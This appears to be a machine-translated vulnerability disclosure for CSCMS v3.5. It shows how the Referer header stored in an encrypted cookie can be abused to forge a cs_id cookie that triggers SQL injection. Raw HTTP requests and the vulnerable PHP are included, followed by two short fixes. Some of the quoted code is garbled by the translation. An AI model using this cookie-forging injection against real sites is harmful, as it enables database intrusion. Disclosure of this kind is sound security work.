SQL Injection caused by leakage of CMS

SQL Injection caused by leakage of CMS

Leakage of CMS, causing serious problems

Character leakage after cookie encryption. Other fields can be replaced, resulting in SQL and other serious vulnerabilities.



File: C: \ WWW \ cscms_v3.5_utf8 \ app \ controllers \ open. php

// Third-party login Portal

Public function login () {if (CS_Appmode = 2) exit ($ this-> CsdjSkins-> Msg_url ('third-party login Disabled! ', Web_Path); $ urldata ['Log _ fhurl'] = $ _ SERVER ['HTTP _ referer']; // leakage Point $ urldata ['Log _ state'] = md5 (uniqid (rand (), TRUE); // CSRF protection; $ this-> session-> set_userdata ($ urldata); $ ac = $ this-> security-> xss_clean ($ this-> uri-> segment (3 )); // method $ log_url = "http://denglu.chshcms.com/denglu? Ac = ". $ ac. "& appid = ". CS_Appid. "& redirect_uri = ". site_url ("open/callback "). "& state = ". $ urldata ['Log _ state']. "& getdate = ". time (); header ("Location: $ log_url ");}

The following is a description of the characters encrypted by the program.

GET /cscms_v3.5_utf8/index.php/open/login/qq HTTP/1.1Host: 192.168.1.201User-Agent: Mozilla/5.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: enAccept-Encoding: gzip,deflateAccept-Charset: GB2312,utf-8;q=0.7,*;q=0.7Keep-Alive: 115Connection: keep-aliveReferer: xxoo'

 

The encrypted character: log_fhurl = L8kxDzdqKNy9 % 2F2Qs0g

Use this function to encrypt any code we want.

Replace other places to form an injection.

GET /cscms_v3.5_utf8/index.php/user/ulog/index/user HTTP/1.1Host: 192.168.1.201User-Agent: Mozilla/5.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: enAccept-Encoding: gzip,deflateAccept-Charset: GB2312,utf-8;q=0.7,*;q=0.7Keep-Alive: 115Connection: keep-aliveReferer: http://192.168.1.201/cscms_v3.5_utf8/index.php/user/Cookie: cs_id=L8kxDzdqKNy9%2F2Qs0g

 

 

 

 

Solution:

Solution 1: Identify the fields added to the encryption process so that they cannot be replaced

Solution 2: After the cookie is called, click addslashes.